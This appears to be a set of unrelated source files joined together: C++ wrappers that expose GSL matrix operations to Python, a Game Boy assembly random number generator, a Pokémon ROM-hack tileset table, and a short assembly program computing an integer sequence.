PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// reflect negative indices about the end of the matrix
if (index < 0 ) index += m->size2;
// convert to unsigned values
size_t i = index;
// bounds check index
if (i >= m->size2) {
// build an error message
std::stringstream msg;
msg << "matrix column index " << index << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// create a vector to hold the column
gsl_vector * v = gsl_vector_alloc(m->size1);
// get the column
gsl_matrix_get_col(v, m, i);
// wrap the column in a capsule and return it
return PyCapsule_New(v, gsl::vector::capsule_t, gsl::vector::free);
}
// slicing: get_row
const char * const gsl::matrix::get_row__name__ = "matrix_get_row";
const char * const gsl::matrix::get_row__doc__ = "return a row of a matrix";
PyObject *
gsl::matrix::get_row(PyObject *, PyObject * args) {
// the arguments
long index;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!l:matrix_get_row",
&PyCapsule_Type, &capsule, &index);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// reflect negative indices about the end of the matrix
if (index < 0 ) index += m->size1;
// convert to unsigned values
size_t i = index;
// bounds check index
if (i >= m->size1) {
// build an error message
std::stringstream msg;
msg << "matrix row index " << index << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// create a vector to hold the row
gsl_vector * v = gsl_vector_alloc(m->size2);
// get the row
gsl_matrix_get_row(v, m, i);
// wrap the column in a capsule and return it
return PyCapsule_New(v, gsl::vector::capsule_t, gsl::vector::free);
}
// slicing: set_col
const char * const gsl::matrix::set_col__name__ = "matrix_set_col";
const char * const gsl::matrix::set_col__doc__ = "set a col of a matrix to the given vector";
PyObject *
gsl::matrix::set_col(PyObject *, PyObject * args) {
// the arguments
size_t index;
PyObject * capsule;
PyObject * vCapsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!kO!:matrix_set_col",
&PyCapsule_Type, &capsule,
&index,
&PyCapsule_Type, &vCapsule
);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the matrix capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// bail out if the vector capsule is not valid
if (!PyCapsule_IsValid(vCapsule, gsl::vector::capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid vector capsule");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// get the vector
gsl_vector * v =
static_cast<gsl_vector *>(PyCapsule_GetPointer(vCapsule, gsl::vector::capsule_t));
// set the col
gsl_matrix_set_col(m, index, v);
// return
Py_INCREF(Py_None);
return Py_None;
}
// slicing: set_row
const char * const gsl::matrix::set_row__name__ = "matrix_set_row";
const char * const gsl::matrix::set_row__doc__ = "set a row of a matrix to the given vector";
PyObject *
gsl::matrix::set_row(PyObject *, PyObject * args) {
// the arguments
size_t index;
PyObject * capsule;
PyObject * vCapsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!kO!:matrix_set_row",
&PyCapsule_Type, &capsule,
&index,
&PyCapsule_Type, &vCapsule
);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the matrix capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// bail out if the vector capsule is not valid
if (!PyCapsule_IsValid(vCapsule, gsl::vector::capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid vector capsule");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// get the vector
gsl_vector * v =
static_cast<gsl_vector *>(PyCapsule_GetPointer(vCapsule, gsl::vector::capsule_t));
// set the row
gsl_matrix_set_row(m, index, v);
// return
Py_INCREF(Py_None);
return Py_None;
}
// contains
const char * const gsl::matrix::contains__name__ = "matrix_contains";
const char * const gsl::matrix::contains__doc__ = "check whether a given value appears in matrix";
PyObject *
gsl::matrix::contains(PyObject *, PyObject * args) {
// the arguments
double value;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!d:matrix_contains", &PyCapsule_Type, &capsule, &value);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// std::cout
// << " gsl.matrix_contains: matrix@" << m << ", index=" << index << ", value=" << value
// << std::endl;
// the answer
PyObject * result = Py_False;
// loop over the elements
for (size_t index0=0; index0 < m->size1; index0++) {
for (size_t index1=0; index1 < m->size2; index1++) {
// if i have a match
if (value == gsl_matrix_get(m, index0, index1)) {
// update the answer
result = Py_True;
// and bail
break;
}
}
}
// return the answer
Py_INCREF(result);
return result;
}
// minima and maxima
const char * const gsl::matrix::max__name__ = "matrix_max";
const char * const gsl::matrix::max__doc__ = "find the largest value contained";
PyObject *
gsl::matrix::max(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!:matrix_max", &PyCapsule_Type, &capsule);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// the result
double value;
// compute the maximum
value = gsl_matrix_max(m);
// std::cout << " gsl.matrix_max: matrix@" << m << ", value=" << value << std::endl;
// return the value
return PyFloat_FromDouble(value);
}
const char * const gsl::matrix::min__name__ = "matrix_min";
const char * const gsl::matrix::min__doc__ = "find the smallest value contained";
PyObject *
gsl::matrix::min(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!:matrix_min", &PyCapsule_Type, &capsule);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
double value;
// get the minimum
value = gsl_matrix_min(m);
// std::cout << " gsl.matrix_max: matrix@" << m << ", value=" << value << std::endl;
// return the value
return PyFloat_FromDouble(value);
}
const char * const gsl::matrix::minmax__name__ = "matrix_minmax";
const char * const gsl::matrix::minmax__doc__ =
"find both the smallest and the largest value contained";
PyObject *
gsl::matrix::minmax(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!:matrix_minmax", &PyCapsule_Type, &capsule);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
double small, large;
gsl_matrix_minmax(m, &small, &large);
// std::cout
// << " gsl.matrix_max: matrix@" << m << ", min=" << small << ", max=" << large
// << std::endl;
// build the answer
PyObject * answer = PyTuple_New(2);
PyTuple_SET_ITEM(answer, 0, PyFloat_FromDouble(small));
PyTuple_SET_ITEM(answer, 1, PyFloat_FromDouble(large));
// and return
return answer;
}
// equal
const char * const gsl::matrix::equal__name__ = "matrix_equal";
const char * const gsl::matrix::equal__doc__ = "check two matrices for equality";
PyObject *
gsl::matrix::equal(PyObject *, PyObject * args) {
// the arguments
PyObject * leftCapsule;
PyObject * rightCapsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_equal",
&PyCapsule_Type, &rightCapsule,
&PyCapsule_Type, &leftCapsule
);
// if something went wrong
if (!status) return 0;
// bail out if the left capsule is not valid
if (!PyCapsule_IsValid(leftCapsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for the left operand");
return 0;
}
// bail out if the right capsule is not valid
if (!PyCapsule_IsValid(rightCapsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for right operand");
return 0;
}
// get the matrices
gsl_matrix * left =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(leftCapsule, capsule_t));
gsl_matrix * right =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(rightCapsule, capsule_t));
PyObject * answer;
// check
answer = gsl_matrix_equal(left, right) ? Py_True : Py_False;
// return
Py_INCREF(answer);
return answer;
}
// in-place operations
const char * const gsl::matrix::add__name__ = "matrix_add";
const char * const gsl::matrix::add__doc__ = "in-place addition of two matrices";
PyObject *
gsl::matrix::add(PyObject *, PyObject * args) {
// the arguments
PyObject * self;
PyObject * other;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_add",
&PyCapsule_Type, &self, &PyCapsule_Type, &other);
// if something went wrong
if (!status) return 0;
// bail out if the two capsules are not valid
if (!PyCapsule_IsValid(self, capsule_t) || !PyCapsule_IsValid(other, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the two matrices
gsl_matrix * m1 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
gsl_matrix * m2 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(other, capsule_t));
// std::cout << " gsl.matrix_add: matrix@" << m1 << ", matrix@" << m2 << std::endl;
// perform the addition
gsl_matrix_add(m1, m2);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::sub__name__ = "matrix_sub";
const char * const gsl::matrix::sub__doc__ = "in-place subtraction of two matrices";
PyObject *
gsl::matrix::sub(PyObject *, PyObject * args) {
// the arguments
PyObject * self;
PyObject * other;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_sub",
&PyCapsule_Type, &self, &PyCapsule_Type, &other);
// if something went wrong
if (!status) return 0;
// bail out if the two capsules are not valid
if (!PyCapsule_IsValid(self, capsule_t) || !PyCapsule_IsValid(other, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the two matrices
gsl_matrix * m1 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
gsl_matrix * m2 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(other, capsule_t));
// std::cout << " gsl.matrix_sub: matrix@" << m1 << ", matrix@" << m2 << std::endl;
// perform the subtraction
gsl_matrix_sub(m1, m2);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::mul__name__ = "matrix_mul";
const char * const gsl::matrix::mul__doc__ = "in-place multiplication of two matrices";
PyObject *
gsl::matrix::mul(PyObject *, PyObject * args) {
// the arguments
PyObject * self;
PyObject * other;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_mul",
&PyCapsule_Type, &self, &PyCapsule_Type, &other);
// if something went wrong
if (!status) return 0;
// bail out if the two capsules are not valid
if (!PyCapsule_IsValid(self, capsule_t) || !PyCapsule_IsValid(other, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the two matrices
gsl_matrix * m1 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
gsl_matrix * m2 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(other, capsule_t));
// std::cout << " gsl.matrix_mul: matrix@" << m1 << ", matrix@" << m2 << std::endl;
// perform the multiplication
gsl_matrix_mul_elements(m1, m2);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::div__name__ = "matrix_div";
const char * const gsl::matrix::div__doc__ = "in-place division of two matrices";
PyObject *
gsl::matrix::div(PyObject *, PyObject * args) {
// the arguments
PyObject * self;
PyObject * other;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_div",
&PyCapsule_Type, &self, &PyCapsule_Type, &other);
// if something went wrong
if (!status) return 0;
// bail out if the two capsules are not valid
if (!PyCapsule_IsValid(self, capsule_t) || !PyCapsule_IsValid(other, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the two matrices
gsl_matrix * m1 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
gsl_matrix * m2 = static_cast<gsl_matrix *>(PyCapsule_GetPointer(other, capsule_t));
// std::cout << " gsl.matrix_div: matrix@" << m1 << ", matrix@" << m2 << std::endl;
// perform the division
gsl_matrix_div_elements(m1, m2);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::shift__name__ = "matrix_shift";
const char * const gsl::matrix::shift__doc__ = "in-place addition of a constant to a matrix";
PyObject *
gsl::matrix::shift(PyObject *, PyObject * args) {
// the arguments
double value;
PyObject * self;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!d:matrix_shift",
&PyCapsule_Type, &self, &value);
// if something went wrong
if (!status) return 0;
// bail out if the two capsules are not valid
if (!PyCapsule_IsValid(self, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
// std::cout << " gsl.matrix_shift: matrix@" << m << ", value=" << value << std::endl;
// perform the shift
gsl_matrix_add_constant(m, value);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::scale__name__ = "matrix_scale";
const char * const gsl::matrix::scale__doc__ = "in-place scaling of a matrix by a constant";
PyObject *
gsl::matrix::scale(PyObject *, PyObject * args) {
// the arguments
double value;
PyObject * self;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!d:matrix_scale",
&PyCapsule_Type, &self, &value);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(self, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(self, capsule_t));
// std::cout << " gsl.matrix_scale: matrix@" << m << ", value=" << value << std::endl;
// perform the scaling
gsl_matrix_scale(m, value);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// matrix_eigen_symmetric
const char * const gsl::matrix::eigen_symmetric__name__ = "matrix_eigen_symmetric";
const char * const gsl::matrix::eigen_symmetric__doc__ =
"compute the eigenvalues and eigenvectors of a real symmetric matrix";
PyObject *
gsl::matrix::eigen_symmetric(PyObject *, PyObject * args) {
// the arguments
size_t sort;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!k:matrix_eigen_symmetric",
&PyCapsule_Type, &capsule, &sort);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// decode the sort type
gsl_eigen_sort_t ordering;
switch (sort) {
case 0:
ordering = GSL_EIGEN_SORT_VAL_ASC;
break;
case 1:
ordering = GSL_EIGEN_SORT_VAL_DESC;
break;
case 2:
ordering = GSL_EIGEN_SORT_ABS_ASC;
break;
case 3:
ordering = GSL_EIGEN_SORT_ABS_DESC;
break;
default:
PyErr_SetString(PyExc_ValueError, "invalid sort type");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// the results
gsl_vector * eigenvalues;
gsl_matrix * eigenvectors;
// allocate the clone and make a copy of the data so we don't destroy the original
gsl_matrix * A = gsl_matrix_alloc(m->size1, m->size2);
gsl_matrix_memcpy(A, m);
// allocate the vector of eigenvalues
eigenvalues = gsl_vector_alloc(m->size1);
// and the matrix of eigenvectors
eigenvectors = gsl_matrix_alloc(m->size1, m->size2);
// allocate the working space for the eigensolver
gsl_eigen_symmv_workspace * w = gsl_eigen_symmv_alloc(m->size1);
// compute the eigensystem
gsl_eigen_symmv(A, eigenvalues, eigenvectors, w);
// sort it
gsl_eigen_symmv_sort(eigenvalues, eigenvectors, ordering);
// clean up
gsl_matrix_free(A);
gsl_eigen_symmv_free(w);
// build the return value
PyObject * answer = PyTuple_New(2);
PyObject * vCapsule = PyCapsule_New(eigenvalues, gsl::vector::capsule_t, gsl::vector::free);
PyObject * mCapsule = PyCapsule_New(eigenvectors, gsl::matrix::capsule_t, gsl::matrix::free);
PyTuple_SET_ITEM(answer, 0, vCapsule);
PyTuple_SET_ITEM(answer, 1, mCapsule);
// and return
return answer;
}
// destructors
void
gsl::matrix::free(PyObject * capsule)
{
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, gsl::matrix::capsule_t)) return;
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, gsl::matrix::capsule_t));
// std::cout << " gsl.matrix_free: matrix@" << m << std::endl;
// deallocate
gsl_matrix_free(m);
// and return
return;
}
void
gsl::matrix::freeview(PyObject * capsule)
{
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, gsl::matrix::view_t)) return;
// get the matrix view
gsl_matrix_view * m =
static_cast<gsl_matrix_view *>(PyCapsule_GetPointer(capsule, gsl::matrix::view_t));
// deallocate
delete m;
// and return
return;
}
// end of file
|
;
; Pseudorandom number generator
;
; Copyright 2018, 2020 Damian Yerrick
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
;
section "rand_ram",WRAM0
randstate: ds 4
; The formula is
; x[i + 1] = (x[i] + 0xB3) * 0x01010101
; or equivalently
; x[i + 1] = x[i] * 0x01010101 + 0xB3B3B3B3
; Prior to cc65 commit 3994fee595 it was
; x[i + 1] = x[i] * 0x01010101 + 0x31415927
section "rand",ROM0
;;
; Generates a pseudorandom 16-bit integer in BC
; using the LCG formula from cc65 rand():
; x[i + 1] = x[i] * 0x01010101 + 0xB3B3B3B3
; @return A=B=state bits 31-24 (which have the best entropy),
; C=state bits 23-16, DHL trashed
rand::
; Add 0xB3 then multiply by 0x01010101
ld hl, randstate+0
ld a, [hl]
add a, $B3
ld [hl+], a
adc a, [hl]
ld [hl+], a
adc a, [hl]
ld [hl+], a
ld c, a
adc a, [hl]
ld [hl], a
ld b, a
ret
;;
; Sets the random seed to BC.
; C expects startup code to behave as if srand(1) was called.
; AHL trashed
srand::
ld hl,randstate+3
xor a
ld [hl-],a
ld [hl-],a
ld a,b
ld [hl-],a
ld [hl],c
ret
;
; According to tools/rand.py, after srand(1) then ten rand() calls,
; first ten BC results should be
; b4b4 85d1 8e08 9b0d 2d92
; 794b 64eb 8a25 35ab 6731
; Verify this with SHOW_RNG in placeholder.z80
|
PLANT_CLOAK EQU 0
SANDY_CLOAK EQU 1
TRASH_CLOAK EQU 2
BurmyCloakTilesets:
db PLANT_CLOAK ; TILESET_00
db PLANT_CLOAK ; TILESET_JOHTO
db PLANT_CLOAK ; TILESET_JOHTO_MODERN
db PLANT_CLOAK ; TILESET_KANTO
db PLANT_CLOAK ; TILESET_BATTLE_TOWER_OUTSIDE
db TRASH_CLOAK ; TILESET_HOUSE
db TRASH_CLOAK ; TILESET_PLAYERS_HOUSE
db TRASH_CLOAK ; TILESET_POKECENTER
db TRASH_CLOAK ; TILESET_GATE
db SANDY_CLOAK ; TILESET_PORT
db TRASH_CLOAK ; TILESET_LAB
db TRASH_CLOAK ; TILESET_FACILITY
db TRASH_CLOAK ; TILESET_MART
db TRASH_CLOAK ; TILESET_MANSION
db TRASH_CLOAK ; TILESET_GAME_CORNER
db TRASH_CLOAK ; TILESET_ELITE_FOUR_ROOM
db TRASH_CLOAK ; TILESET_TRADITIONAL_HOUSE
db TRASH_CLOAK ; TILESET_TRAIN_STATION
db TRASH_CLOAK ; TILESET_CHAMPIONS_ROOM
db TRASH_CLOAK ; TILESET_LIGHTHOUSE
db TRASH_CLOAK ; TILESET_PLAYERS_ROOM
db TRASH_CLOAK ; TILESET_POKECOM_CENTER
db TRASH_CLOAK ; TILESET_BATTLE_TOWER
db TRASH_CLOAK ; TILESET_TOWER
db SANDY_CLOAK ; TILESET_CAVE
db PLANT_CLOAK ; TILESET_PARK
db TRASH_CLOAK ; TILESET_RUINS_OF_ALPH
db TRASH_CLOAK ; TILESET_RADIO_TOWER
db TRASH_CLOAK ; TILESET_UNDERGROUND
db SANDY_CLOAK ; TILESET_ICE_PATH
db SANDY_CLOAK ; TILESET_DARK_CAVE
db PLANT_CLOAK ; TILESET_FOREST
db TRASH_CLOAK ; TILESET_BETA_WORD_ROOM
db TRASH_CLOAK ; TILESET_HO_OH_WORD_ROOM
db TRASH_CLOAK ; TILESET_KABUTO_WORD_ROOM
db TRASH_CLOAK ; TILESET_OMANYTE_WORD_ROOM
db TRASH_CLOAK ; TILESET_AERODACTYL_WORD_ROOM
|
; A047862: a(n) = T(5,n), array T given by A047858.
; 1,7,20,48,108,236,508,1084,2300,4860,10236,21500,45052,94204,196604,409596,851964,1769468,3670012,7602172,15728636,32505852,67108860,138412028,285212668,587202556,1207959548,2483027964,5100273660,10468982780,21474836476,44023414780,90194313212,184683593724,377957122044,773094113276,1580547964924,3229815406588,6597069766652,13469017440252,27487790694396,56075093016572,114349209288700,233096465088508,474989023199228,967570232442876,1970324836974588,4011018418126844,8162774324609020
mov $1,2
pow $1,$0
add $0,10
mul $1,$0
div $1,2
sub $1,4
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.